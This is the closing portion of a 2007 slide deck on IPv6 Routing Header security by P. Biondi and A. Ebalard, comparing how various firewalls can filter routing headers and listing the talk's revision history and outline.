Available in Netﬁlter (ipv6header and rt matches).
Available in Cisco IOS ACL (routing keyword)
Available in IPFW2 (ext6hdr keyword)
Access to “IPv6-Route (proto 43)” in Windows Firewall with
advanced security snap-in in MMC.
IPv6 extension headers (including RH) not supported by PF.
Status unknown for IPFilter
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
55/57

References
Details on RH ﬁltering
History
Main RH related ﬁltering capabilities (3/3)
Support for RH Type (i.e. MIPv6-friendlyness)
Cisco recently added routing-type keyword to IOS ACL
Netﬁlter rt match has support for –rt-type
Windows clients being end hosts and having no decent MIPv6
support, it is not available nor required.
FreeBSD IPFW2 does not allow ﬁltering on RH Type.
PF has no support. Status is unknown for IPFilter.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
56/57

References
Details on RH ﬁltering
History
History
April 24, 2007: Clariﬁcation and ﬁxes on bandwidth
calculations in slides 31, 34 and 35.
April 27, 2007: Added MacOS X in comparison table of slide
20.
May 16, 2007: Added IPFilter information provided by
Dareen Reed on slide 49. Updated last slide.
P. Biondi / A. Ebalard
IPv6 Routing Header Security.
57/57

Document Outline

IPv6 prerequisite
- IPv6 : the protocol
- Think different, Think IPv6
All about Routing Header extension
- Definition
- RH odds
- RH handling by IPv6 stacks
Security implications
- Advanced Network Discovery
- Bypassing filtering devices
- DoS
- Defeating Anycast
Solutions and workaround
- Filtering RH : problems and needs
- Practical filtering
Appendix
- References
- Details on RH filtering
- History